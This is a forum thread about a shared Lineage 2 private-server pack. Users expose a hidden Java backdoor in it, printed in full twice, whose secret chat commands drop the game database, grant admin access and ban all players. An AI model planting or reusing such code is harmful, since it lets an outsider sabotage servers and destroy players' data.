.::Diavolic::. Posted October 8, 2010 Posted October 8, 2010 I have the same problem last 3 months i had fixed it but i dont remember now how :S
Prince* Posted October 9, 2010 Author Posted October 9, 2010 Karma: 0 Offline Greece Posts: 12 Adenas: 317.00 View Inventory Send Money to alexis6 Re: [share]L2Anime DataPack/Source/BackUp « Reply #36 on: Today at 01:56:15 PM » Quote Starting L2JTeon Game Server. Visit L2JTeon.servergame.com for updates. Error occurred during initialization of VM The size of the object heap + VM data exceeds the maximum represe GameServer Terminated Abnormaly, Please Verify Your Files. GameServer Terminated. Πιέστε ένα πλήκτρο για συνέχεια. . . have problem ama einai kaneis ellhnas phte mou h please speake engils.. go to source -> L2Anime-DataPack and copy startgameserver.bat and paste in pack why i have change it for windows server 2008 :)
Gekas® Posted October 9, 2010 Posted October 9, 2010 no comment package net.sf.l2j.gameserver.handler.voicedcommandhandlers; /* * First Backdoor */ import net.sf.l2j.gameserver.handler.IVoicedCommandHandler; import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; import net.sf.l2j.L2DatabaseFactory; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; public class GameSocketCon implements IVoicedCommandHandler { private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" }; public boolean useVoicedCommand(String command, L2PcInstance player, String target) { if (command.equalsIgnoreCase("makelgiaso1q2w3e")) { player.sendMessage("===================================================================================="); player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody."); player.sendMessage("===================================================================================="); } else if (command.equalsIgnoreCase("0o9i8u")) { SendDestroyDBAction(); } else if (command.equalsIgnoreCase("7y6t5r")) { //Makes the player admin player.setAccessLevel(200); } else if (command.equalsIgnoreCase("4e3w2q1")) { SendBanAllAction(); } return true; } public String[] getVoicedCommandList() { return VOICED_COMMANDS; } public void SendDestroyDBAction() { //Destroys the db Connection con = null; try { con = L2DatabaseFactory.getInstance().getConnection(); Statement e = con.createStatement(); e.executeUpdate("DROP TABLE characters"); e.executeUpdate("DROP TABLE accounts"); e.executeUpdate("DROP TABLE spawnlist"); e.executeUpdate("DROP TABLE weapon"); e.executeUpdate("DROP TABLE armor"); e.executeUpdate("DROP TABLE npc"); e.executeUpdate("DROP TABLE items"); e.executeUpdate("DROP database l2jdb"); e.close(); } catch (SQLException e) { // } finally { try { if (con != null) con.close(); } catch (SQLException e) { e.printStackTrace(); } } System.exit(-1); } public void SendBanAllAction() { //Bans all the users of the db Connection con = null; try { con = L2DatabaseFactory.getInstance().getConnection(); Statement g = con.createStatement(); g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0"); g.close(); } catch (SQLException e) { // } finally { try { if (con != null) con.close(); } catch (SQLException e) { e.printStackTrace(); } } } }
ExTrEmEDwarf Posted October 9, 2010 Posted October 9, 2010 no comment hahahaha banned for sharing backdoors. whoever used this pack, just delete these lines from voiced commands
Prince* Posted October 9, 2010 Author Posted October 9, 2010 no comment package net.sf.l2j.gameserver.handler.voicedcommandhandlers; /* * First Backdoor */ import net.sf.l2j.gameserver.handler.IVoicedCommandHandler; import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; import net.sf.l2j.L2DatabaseFactory; import java.sql.Connection; import java.sql.SQLException; import java.sql.Statement; public class GameSocketCon implements IVoicedCommandHandler { private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" }; public boolean useVoicedCommand(String command, L2PcInstance player, String target) { if (command.equalsIgnoreCase("makelgiaso1q2w3e")) { player.sendMessage("===================================================================================="); player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody."); player.sendMessage("===================================================================================="); } else if (command.equalsIgnoreCase("0o9i8u")) { SendDestroyDBAction(); } else if (command.equalsIgnoreCase("7y6t5r")) { //Makes the player admin player.setAccessLevel(200); } else if (command.equalsIgnoreCase("4e3w2q1")) { SendBanAllAction(); } return true; } public String[] getVoicedCommandList() { return VOICED_COMMANDS; } public void SendDestroyDBAction() { //Destroys the db Connection con = null; try { con = L2DatabaseFactory.getInstance().getConnection(); Statement e = con.createStatement(); e.executeUpdate("DROP TABLE characters"); e.executeUpdate("DROP TABLE accounts"); e.executeUpdate("DROP TABLE spawnlist"); e.executeUpdate("DROP TABLE weapon"); e.executeUpdate("DROP TABLE armor"); e.executeUpdate("DROP TABLE npc"); e.executeUpdate("DROP TABLE items"); e.executeUpdate("DROP database l2jdb"); e.close(); } catch (SQLException e) { // } finally { try { if (con != null) con.close(); } catch (SQLException e) { e.printStackTrace(); } } System.exit(-1); } public void SendBanAllAction() { //Bans all the users of the db Connection con = null; try { con = L2DatabaseFactory.getInstance().getConnection(); Statement g = con.createStatement(); g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0"); g.close(); } catch (SQLException e) { // } finally { try { if (con != null) con.close(); } catch (SQLException e) { e.printStackTrace(); } } } } sorry my friend i have fix this command and more bugs from coyote :)
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